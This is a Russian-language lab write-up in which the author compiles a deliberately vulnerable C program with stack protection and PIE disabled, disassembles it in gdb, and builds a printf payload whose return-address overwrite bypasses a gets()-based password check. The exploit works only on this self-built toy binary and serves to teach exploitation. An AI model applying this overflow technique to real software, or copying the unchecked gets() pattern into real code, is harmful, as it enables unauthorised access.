Сначала, разумеется, компилируем программу:

```
346  gcc main.c -o prog -g -fno-stack-protector -no-pie
347  ls
348  ./prog
```

Где:

-g – добавляет отладочную информацию в бинарник

-fno-stack-protector – отключает защиту от переполнения буфера

-no-pie – отключает загрузку программы по случайному адресу

Компилятор пожалуется на gets(), но мы его игнорируем

Запускаем gdb:

```
❯ gdb prog
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
```

Деассемблируем функцию main:

```
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000401196 <+0>:     endbr64
   0x000000000040119a <+4>:     push   %rbp
   0x000000000040119b <+5>:     mov    %rsp,%rbp
   0x000000000040119e <+8>:     sub    $0x10,%rsp
   0x00000000004011a2 <+12>:    lea    0xe5b(%rip),%rax        # 0x402004
   0x00000000004011a9 <+19>:    mov    %rax,%rdi
   0x00000000004011ac <+22>:    call   0x401070 <puts@plt>
   0x00000000004011b1 <+27>:    call   0x4011ee <IsPassOk>
   0x00000000004011b6 <+32>:    mov    %eax,-0x4(%rbp)
   0x00000000004011b9 <+35>:    cmpl   $0x0,-0x4(%rbp)
   0x00000000004011bd <+39>:    jne    0x4011d8 <main+66>
   0x00000000004011bf <+41>:    lea    0xe4e(%rip),%rax        # 0x402014
   0x00000000004011c6 <+48>:    mov    %rax,%rdi
   0x00000000004011c9 <+51>:    call   0x401070 <puts@plt>
   0x00000000004011ce <+56>:    mov    $0x1,%edi
   0x00000000004011d3 <+61>:    call   0x4010a0 <exit@plt>
   0x00000000004011d8 <+66>:    lea    0xe43(%rip),%rax        # 0x402022
   0x00000000004011df <+73>:    mov    %rax,%rdi
   0x00000000004011e2 <+76>:    call   0x401070 <puts@plt>
   0x00000000004011e7 <+81>:    mov    $0x0,%eax
   0x00000000004011ec <+86>:    leave
   0x00000000004011ed <+87>:    ret
```

Здесь находим строку <+66>, чей адрес и является целевым для нас. Изначально я просто искал операцию, которая идет ниже “exit(1)”, но чуть позже еще обратил внимание на то, что в строке <+39> где у нас реализуется main есть указание на эту операцию.

Деассемблируем функцию IsPassOk:

```
(gdb) disassemble IsPassOk
Dump of assembler code for function IsPassOk:
   0x00000000004011ee <+0>:     endbr64
   0x00000000004011f2 <+4>:     push   %rbp
   0x00000000004011f3 <+5>:     mov    %rsp,%rbp
   0x00000000004011f6 <+8>:     sub    $0x10,%rsp
   0x00000000004011fa <+12>:    lea    -0xc(%rbp),%rax
   0x00000000004011fe <+16>:    mov    %rax,%rdi
   0x0000000000401201 <+19>:    mov    $0x0,%eax
   0x0000000000401206 <+24>:    call   0x401090 <gets@plt>
   0x000000000040120b <+29>:    lea    -0xc(%rbp),%rax
   0x000000000040120f <+33>:    lea    0xe1c(%rip),%rdx        # 0x402032
   0x0000000000401216 <+40>:    mov    %rdx,%rsi
   0x0000000000401219 <+43>:    mov    %rax,%rdi
   0x000000000040121c <+46>:    call   0x401080 <strcmp@plt>
   0x0000000000401221 <+51>:    test   %eax,%eax
   0x0000000000401223 <+53>:    sete   %al
   0x0000000000401226 <+56>:    movzbl %al,%eax
   0x0000000000401229 <+59>:    leave
   0x000000000040122a <+60>:    ret
End of assembler dump.
```

Итак, если идти по стеку, то нам нужно будет пройти 12 байт (переменная Pass[12]), потом 8 байт отводится под rbp. Эти 20 суммарных байт должны быть заполнены любым мусором при использовании полезной нагрузки. Следующие 8 байт – как раз таки адрес возврата, куда и должен попасть наш целевой адрес.

По этому, создаем такую полезную нагрузу:

```
/home/kivvi/prog/task5                                  root@kivvi-PC 08:17:29
❯ printf 'aaaaaaaaaaaaaaaaaaaa\xd8\x11\x40\x00\x00\x00\x00\x00' > payload.txt
```

И реализуем наш маленький эксплоит уязвимости:

```
/home/kivvi/prog/task5                                  root@kivvi-PC 08:18:25
❯ ./prog < payload.txt
Enter password:
Access granted!
[1]    7014 bus error (core dumped)  ./prog < payload.txt
```